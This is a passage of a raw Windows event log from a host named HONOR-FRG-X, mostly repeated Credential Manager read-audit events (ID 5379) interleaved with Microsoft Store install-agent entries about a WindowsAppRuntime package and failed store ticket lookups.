Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.764\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.764\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.765\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.765\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.765\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.766\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.766\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.766\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.766\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.768\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.773\t2006\t\"Catalog Cache items read from disk into memory. Loaded item count:  = 68 \u00a0Deleted item count:  = 3 \u00a0\nError: The operation completed successfully.\nFunction: CatalogDataStore::_ReadCacheFromDisk\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\catalogdatastore.cpp (473)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.773\t2006\t\"[Start] Creating Queue Item for the workCatalogId = PackageFamilyName:Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2244)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.774\t2006\t\"[End] Creating Queue Item for the workCatalogId = PackageFamilyName:Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2244)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.774\t2006\t\"[Start] Item inserted into the queue. Attempting to create progresstrackersItem = 9NRZT3Q9R3DL \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2335)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.774\t2006\t\"[End] Item inserted into the queue. Attempting to create progresstrackersItem = 9NRZT3Q9R3DL \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2335)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.775\t2006\t\"Received checkpoint data updateItem = 9NRZT3Q9R3DL \u00a0\u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::NotifyCheckpointChanged\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (3602)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.775\t2006\t\"Unable to delete StorePreSearchTimes registry key\nError: The system cannot find the file specified.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5579)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.775\t2006\t\"Raising State Change for Item = , InstallState = 12 \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::FlushEventQueue\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (3547)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.776\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.776\t2152\tInstall progress state changed for package:Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe to state:12.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 08:29:25.776\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.777\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.777\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.777\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.778\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.778\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.778\t2006\t\"Queue State: Working = 0, Pending = 0, Idle = 1 \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_FindNextPendingItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (4794)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.778\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.779\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.779\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.779\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.779\t2007\t\"No CV passed in - generating a new one.\nError: The operation completed successfully.\nFunction: WindowsUpdate::CommonTelemetry::GenerateIfMissingCorrelationVector\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\commontelemetry.cpp (375)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.779\t2006\t\"request: ProductId = (vector), checkApplicability = false, CV = fZ45hDIq50OyI64m.0\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::GetAppDataForUserAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (3802)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.779\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.780\t2006\t\"request: addAsPaused = true, clientID = PhoneExperienceHost, CV = exbuXxFHwECWL3f3.2.3.1.2\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::SearchForUpdatesWithPausedAddAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (4726)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.780\t2006\t\"Checking interactive for update for scan caller: PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (385)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.780\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.783\t2006\t\"Failure detected\nError: The system cannot find the file specified.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (2614)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.784\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (1792)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.784\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (1882)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.784\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (2576)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.784\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (334)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.784\t2007\t\"No tickets found for the store primary acount.\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: TryGetTickets\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\storeappinfo.cpp (1223)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (1862)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (564)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (751)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (477)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauthstatics.cpp (134)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2007\t\"No tickets found for the current user.\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: TryGetTickets\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\storeappinfo.cpp (1294)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.789\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.789\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.789\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.790\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.790\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.790\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.791\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.791\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.791\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.792\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.792\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.792\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.792\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.792\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.793\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.793\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.795\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.796\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.817\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.818\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.818\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 